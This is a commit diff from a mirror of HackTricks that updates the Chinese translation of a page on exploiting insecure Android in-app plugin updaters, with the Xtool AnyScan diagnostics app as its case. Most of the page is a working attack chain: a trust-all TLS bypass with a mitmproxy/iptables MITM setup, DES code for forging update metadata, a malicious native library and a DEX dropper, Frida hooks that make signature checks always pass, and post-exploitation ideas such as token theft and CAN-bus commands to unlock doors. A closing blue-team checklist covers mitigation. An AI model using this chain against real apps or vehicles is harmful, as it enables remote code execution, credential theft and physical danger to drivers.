mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/insecure-in-ap
This commit is contained in:
parent
b086c69d38
commit
57d33bca0f
@ -1,16 +1,49 @@
|
||||
# 不安全的应用内更新机制 – 通过恶意插件进行远程代码执行
|
||||
# 不安全的 In-App Update 机制 – Remote Code Execution via Malicious Plugins
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
许多Android应用程序实现了**自己的“插件”或“动态特性”更新通道**,而不是使用Google Play商店。当实现不安全时,能够拦截流量的攻击者可以提供**任意本地代码,该代码将在应用程序进程中加载**,导致手机上的完全远程代码执行(RCE)——在某些情况下,还可以在应用控制的任何外部设备上执行(汽车、物联网、医疗设备等)。
|
||||
许多 Android 应用实现了自己的“plugin”或“dynamic feature”更新通道,而不是使用 Google Play Store。当实现不安全时,能够拦截或篡改更新流量的攻击者可以提供任意 native 或 Dalvik/ART 代码,这些代码将在应用进程内被加载,导致手机上获得完整的 Remote Code Execution (RCE) —— 并且在某些情况下会影响应用控制的任何外部设备(汽车、IoT、医疗设备……)。
|
||||
|
||||
本页面总结了在Xtool **AnyScan** 汽车诊断应用程序(v4.40.11 → 4.40.40)中发现的真实漏洞链,并将该技术进行概括,以便您可以审核其他Android应用程序并在红队参与期间利用该错误配置。
|
||||
本页总结了在 Xtool AnyScan automotive-diagnostics 应用中发现的一个真实漏洞链(v4.40.11 → 4.40.40),并将该技术泛化,以便你在审计其他 Android 应用或在 red-team 演练中利用错误配置时使用。
|
||||
|
||||
---
|
||||
## 0. Quick triage: does the app have an in‑app updater?
|
||||
|
||||
在 JADX/apktool 中的静态线索:
|
||||
- Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
|
||||
- Network endpoints like `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`.
|
||||
- Crypto helpers near update paths (DES/AES/RC4; Base64; JSON/XML packs).
|
||||
- Dynamic loaders: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`.
|
||||
- Unzip paths writing under app-internal or external storage, then immediately loading a `.so`/DEX.
|
||||
|
||||
运行时挂钩以确认:
|
||||
```js
|
||||
// Frida: log native and dex loading
|
||||
Java.perform(() => {
|
||||
const Runtime = Java.use('java.lang.Runtime');
|
||||
const SystemJ = Java.use('java.lang.System');
|
||||
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
|
||||
|
||||
SystemJ.load.overload('java.lang.String').implementation = function(p) {
|
||||
console.log('[System.load] ' + p); return this.load(p);
|
||||
};
|
||||
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
|
||||
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
|
||||
};
|
||||
Runtime.load.overload('java.lang.String').implementation = function(p){
|
||||
console.log('[Runtime.load] ' + p); return this.load(p);
|
||||
};
|
||||
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
|
||||
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
|
||||
return this.$init(dexPath, optDir, libPath, parent);
|
||||
};
|
||||
});
|
||||
```
|
||||
---
|
||||
## 1. 识别不安全的 TLS TrustManager
|
||||
|
||||
1. 使用jadx / apktool反编译APK并定位网络堆栈(OkHttp、HttpUrlConnection、Retrofit等)。
|
||||
2. 寻找一个**自定义的`TrustManager`**或`HostnameVerifier`,该组件盲目信任每个证书:
|
||||
1. 使用 jadx / apktool 反编译 APK,并定位网络栈 (OkHttp, HttpUrlConnection, Retrofit…)。
|
||||
2. 查找自定义的 `TrustManager` 或 `HostnameVerifier`,其会盲目信任所有证书:
|
||||
```java
|
||||
public static TrustManager[] buildTrustManagers() {
|
||||
return new TrustManager[]{
|
||||
@ -22,24 +55,35 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
|
||||
};
|
||||
}
|
||||
```
|
||||
3. 如果存在,应用程序将接受 **任何 TLS 证书** → 你可以使用自签名证书运行一个透明的 **MITM 代理**:
|
||||
3. 如果存在,应用会接受任何 TLS certificate → 你可以运行一个透明的 MITM proxy 并使用 self-signed cert:
|
||||
```bash
|
||||
mitmproxy -p 8080 -s addon.py # see §4
|
||||
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
|
||||
```
|
||||
## 2. 反向工程更新元数据
|
||||
如果 TLS pinning 被强制启用,而不是不安全的 trust-all 逻辑,请参见:
|
||||
|
||||
在 AnyScan 的案例中,每次应用启动都会触发一个 HTTPS GET 请求到:
|
||||
{{#ref}}
|
||||
android-anti-instrumentation-and-ssl-pinning-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
make-apk-accept-ca-certificate.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
## 2. Reverse-Engineering the Update Metadata
|
||||
|
||||
在 AnyScan 的情况下,每次应用启动都会触发一个 HTTPS GET 请求到:
|
||||
```
|
||||
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
||||
```
|
||||
响应体是一个 **XML 文档**,其 `<FileData>` 节点包含 **Base64 编码的,DES-ECB 加密的** JSON,描述每个可用插件。
|
||||
响应体是一个 XML 文档,其 `<FileData>` 节点包含 Base64-encoded、DES-ECB 加密的 JSON,用于描述每个可用插件。
|
||||
|
||||
典型的搜索步骤:
|
||||
典型的排查步骤:
|
||||
1. 定位加密例程(例如 `RemoteServiceProxy`)并恢复:
|
||||
* 算法(DES / AES / RC4 …)
|
||||
* 操作模式(ECB / CBC / GCM …)
|
||||
* 硬编码的密钥 / IV(通常是常量中的 56 位 DES 密钥或 128 位 AES 密钥)
|
||||
- 算法 (DES / AES / RC4 …)
|
||||
- 模式 (ECB / CBC / GCM …)
|
||||
- 硬编码的密钥 / IV (commonly 56‑bit DES or 128‑bit AES constants)
|
||||
2. 在 Python 中重新实现该函数以解密 / 加密元数据:
|
||||
```python
|
||||
from Crypto.Cipher import DES
|
||||
@ -55,9 +99,17 @@ def encrypt_metadata(plaintext: bytes) -> str:
|
||||
cipher = DES.new(KEY, DES.MODE_ECB)
|
||||
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
|
||||
```
|
||||
## 3. 制作恶意插件
|
||||
Notes seen in the wild (2023–2025):
|
||||
- 元数据通常是 JSON-within-XML 或 protobuf;弱加密算法和静态密钥很常见。
|
||||
- 许多更新器在实际 payload 下载时接受明文 HTTP,即使元数据是通过 HTTPS 获取的。
|
||||
- 插件经常解压到应用内部存储;一些仍使用外部存储或旧的 `requestLegacyExternalStorage`,从而使跨应用篡改成为可能。
|
||||
|
||||
1. 选择任何合法的插件 ZIP,并用你的有效载荷替换本地库:
|
||||
---
|
||||
## 3. 构造恶意插件
|
||||
|
||||
### 3.1 本地库路径 (dlopen/System.load[Library])
|
||||
|
||||
1. 选择任意合法的插件 ZIP,并将本地库替换为你的 payload:
|
||||
```c
|
||||
// libscan_x64.so – constructor runs as soon as the library is loaded
|
||||
__attribute__((constructor))
|
||||
@ -71,12 +123,37 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid(
|
||||
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
|
||||
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
|
||||
```
|
||||
2. 更新 JSON 元数据,使得 `"FileName" : "PWNED.zip"` 和 `"DownloadURL"` 指向你的 HTTP 服务器。
|
||||
3. 对修改后的 JSON 进行 DES 加密 + Base64 编码,并将其复制回拦截的 XML 中。
|
||||
2. 更新 JSON 元数据,使 `"FileName" : "PWNED.zip"` 和 `"DownloadURL"` 指向你的 HTTP 服务器。
|
||||
3. 对修改后的 JSON 重新加密并进行 Base64 编码,然后将其复制回被拦截的 XML 中。
|
||||
|
||||
## 4. 使用 mitmproxy 发送有效载荷
|
||||
### 3.2 Dex-based plugin path (DexClassLoader)
|
||||
|
||||
`addon.py` 示例,*静默* 交换原始元数据:
|
||||
有些应用会下载 JAR/APK 并通过 `DexClassLoader` 加载代码。构建一个在加载时触发的恶意 DEX:
|
||||
```java
|
||||
// src/pwn/Dropper.java
|
||||
package pwn;
|
||||
public class Dropper {
|
||||
static { // runs on class load
|
||||
try {
|
||||
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
|
||||
} catch (Throwable t) {}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
# Compile and package to a DEX jar
|
||||
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
|
||||
jar cf dropper.jar -C out/ .
|
||||
d8 --output outdex/ dropper.jar
|
||||
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
|
||||
```
|
||||
如果目标调用 `Class.forName("pwn.Dropper")`,你的静态初始化器会执行;否则,使用 Frida 通过反射枚举已加载的类并调用一个导出的方法。
|
||||
|
||||
---
|
||||
## 4. 使用 mitmproxy 交付 Payload
|
||||
|
||||
`addon.py` 示例,静默替换原始元数据:
|
||||
```python
|
||||
from mitmproxy import http
|
||||
MOD_XML = open("fake_metadata.xml", "rb").read()
|
||||
@ -89,36 +166,69 @@ MOD_XML,
|
||||
{"Content-Type": "text/xml"}
|
||||
)
|
||||
```
|
||||
运行一个简单的网络服务器来托管恶意 ZIP:
|
||||
运行一个简单的 Web 服务器来托管恶意 ZIP/JAR:
|
||||
```bash
|
||||
python3 -m http.server 8000 --directory ./payloads
|
||||
```
|
||||
当受害者启动应用程序时,它将:
|
||||
* 通过MITM通道获取我们伪造的XML;
|
||||
* 使用硬编码的DES密钥解密和解析它;
|
||||
* 下载`PWNED.zip` → 在私有存储中解压;
|
||||
* `dlopen()`包含的*libscan_x64.so*,立即以**应用程序的权限**执行我们的代码(相机、GPS、蓝牙、文件系统等)。
|
||||
当受害者启动该应用时,会:
|
||||
- 通过 MITM 通道获取我们伪造的 XML;
|
||||
- 使用硬编码的 crypto 解密并解析它;
|
||||
- 下载 `PWNED.zip` 或 `plugin.jar` → 在私有存储中解压;
|
||||
- 加载包含的 `.so` 或 DEX,立即以应用的权限执行我们的代码(相机、GPS、蓝牙、文件系统等)。
|
||||
|
||||
由于插件缓存于磁盘,后门**在重启后仍然存在**,并在用户每次选择相关功能时运行。
|
||||
|
||||
## 5. 后期利用想法
|
||||
|
||||
* 偷取应用程序存储的会话cookie、OAuth令牌或JWT。
|
||||
* 投放第二阶段APK并通过`pm install`静默安装(应用程序已经具有`REQUEST_INSTALL_PACKAGES`)。
|
||||
* 滥用任何连接的硬件 – 在AnyScan场景中,您可以发送任意**OBD-II / CAN总线命令**(解锁车门、禁用ABS等)。
|
||||
因为插件被缓存到磁盘,后门会在重启后仍然存在,并且每次用户选择相关功能时都会运行。
|
||||
|
||||
---
|
||||
### 检测与缓解清单(蓝队)
|
||||
## 4.1 绕过签名/哈希检查(如果存在)
|
||||
|
||||
* 永远不要使用自定义TrustManager/HostnameVerifier禁用证书验证来发布生产版本。
|
||||
* 不要从Google Play以外下载可执行代码。如果您*必须*,请使用相同的**apkSigning v2**密钥签署每个插件,并在加载之前验证签名。
|
||||
* 用**AES-GCM**和服务器端轮换密钥替换弱/硬编码的加密。
|
||||
* 验证下载归档的完整性(签名或至少SHA-256)。
|
||||
如果更新器验证签名或哈希,hook 验证以始终接受攻击者内容:
|
||||
```js
|
||||
// Frida – make java.security.Signature.verify() return true
|
||||
Java.perform(() => {
|
||||
const Sig = Java.use('java.security.Signature');
|
||||
Sig.verify.overload('[B').implementation = function(a) { return true; };
|
||||
});
|
||||
|
||||
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
|
||||
Java.perform(() => {
|
||||
const Arrays = Java.use('java.util.Arrays');
|
||||
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
|
||||
});
|
||||
```
|
||||
Also consider stubbing vendor methods such as `PluginVerifier.verifySignature()`, `checkHash()`, or short‑circuiting update gating logic in Java or JNI.
|
||||
|
||||
---
|
||||
## 参考文献
|
||||
## 5. Other attack surfaces in updaters (2023–2025)
|
||||
|
||||
- [NowSecure – 在Xtool AnyScan应用中发现的远程代码执行](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
|
||||
- [Android – 不安全的TrustManager模式](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
|
||||
- Zip Slip path traversal while extracting plugins: malicious entries like `../../../../data/data/<pkg>/files/target` overwrite arbitrary files. Always sanitize entry paths and use allow‑lists.
|
||||
- External storage staging: if the app writes the archive to external storage before loading, any other app can tamper with it. Scoped Storage or internal app storage avoids this.
|
||||
- Cleartext downloads: metadata over HTTPS but payload over HTTP → straightforward MITM swap.
|
||||
- Incomplete signature checks: comparing only a single file hash, not the whole archive; not binding signature to developer key; accepting any RSA key present in the archive.
|
||||
- React Native / Web-based OTA content: if native bridges execute JS from OTA without strict signing, arbitrary code execution in the app context is possible (e.g., insecure CodePush-like flows). Ensure detached update signing and strict verification.
|
||||
|
||||
---
|
||||
## 6. Post-Exploitation Ideas
|
||||
|
||||
- 窃取 app 存储的 session cookies、OAuth tokens 或 JWTs。
|
||||
- 放置二阶段 APK 并在可能的情况下通过 `pm install` 静默安装(有些应用已声明 `REQUEST_INSTALL_PACKAGES`)。
|
||||
- 滥用任何连接的硬件 — 在 AnyScan 场景中你可以发送任意 OBD‑II / CAN 总线命令(解锁车门、禁用 ABS 等)。
|
||||
|
||||
---
|
||||
### Detection & Mitigation Checklist (blue team)
|
||||
|
||||
- 避免 dynamic code loading 和 out‑of‑store updates。优先使用 Play‑mediated updates。如果 dynamic plugins 是刚性需求,设计为仅数据的捆绑包,并将可执行代码保留在基线 APK 中。
|
||||
- 正确强制使用 TLS:不要使用自定义的信任所有(trust‑all)管理器;在可行时部署 pinning,并使用加强的 network security config 来禁止明文流量。
|
||||
- 不要从 Google Play 之外下载可执行代码。如果必须,使用 detached update signing(例如 Ed25519/RSA)并使用开发者持有的密钥在加载前验证。绑定 metadata 和 payload(长度、hash、版本)并采用 fail‑closed 策略。
|
||||
- 使用现代加密(AES‑GCM)并对 metadata 使用每条消息的 nonce;从客户端移除硬编码密钥。
|
||||
- 验证下载归档的完整性:验证覆盖每个文件的签名,或至少验证包含 SHA‑256 哈希的清单。拒绝额外/未知文件。
|
||||
- 将下载存储在 app‑internal storage(或 Android 10+ 的 scoped storage)并使用防止跨应用篡改的文件权限。
|
||||
- 防御 Zip Slip:在解压前规范化并验证 zip 条目路径;拒绝绝对路径或包含 `..` 的段。
|
||||
- 考虑使用 Play “Code Transparency”,以便你和用户可以验证已发布的 DEX/native 代码与构建产物是否匹配(作为补充但不能替代 APK 签名)。
|
||||
|
||||
---
|
||||
## References
|
||||
|
||||
- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
|
||||
- [Android Developers – Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user